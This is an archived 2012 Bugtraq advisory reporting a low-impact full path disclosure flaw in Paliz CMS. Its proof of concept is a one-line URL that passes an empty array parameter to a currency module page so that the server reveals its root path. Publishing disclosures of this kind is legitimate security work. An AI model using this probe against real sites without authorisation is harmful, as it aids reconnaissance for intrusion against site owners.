[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]
Paliz CMS Full Path Disclosure Vulnerability
- To: bugtraq@xxxxxxxxxxxxxxxxx
- Subject: Paliz CMS Full Path Disclosure Vulnerability
- From: advisories@xxxxxxxxxxxxx
- Date: Sat, 25 Aug 2012 05:44:08 GMT
##################################################################################
# Title: Paliz CMS Full Path Disclosure Vulnerability
# Vulnerable Version: all versions
# Vendor URL: http://palizct.com
# Impact: Low
##################################################################################
===========================
Vulnerability Description:
===========================
Full Path Disclosure Vulnerability, enable the attacker to see the root path.
==================
Proof Of Concept:
==================
http://[target]/portal/DeskTopModules/Currency/CurrencyAll.aspx?mID=[]
=========
Credits:
=========
HighSecure.ir
Contact: advisories[aT]highsecure[dOt]ir
============
References:
============
http://www.highsecure.ir/research/20120822-paliz.txt
##################################################################################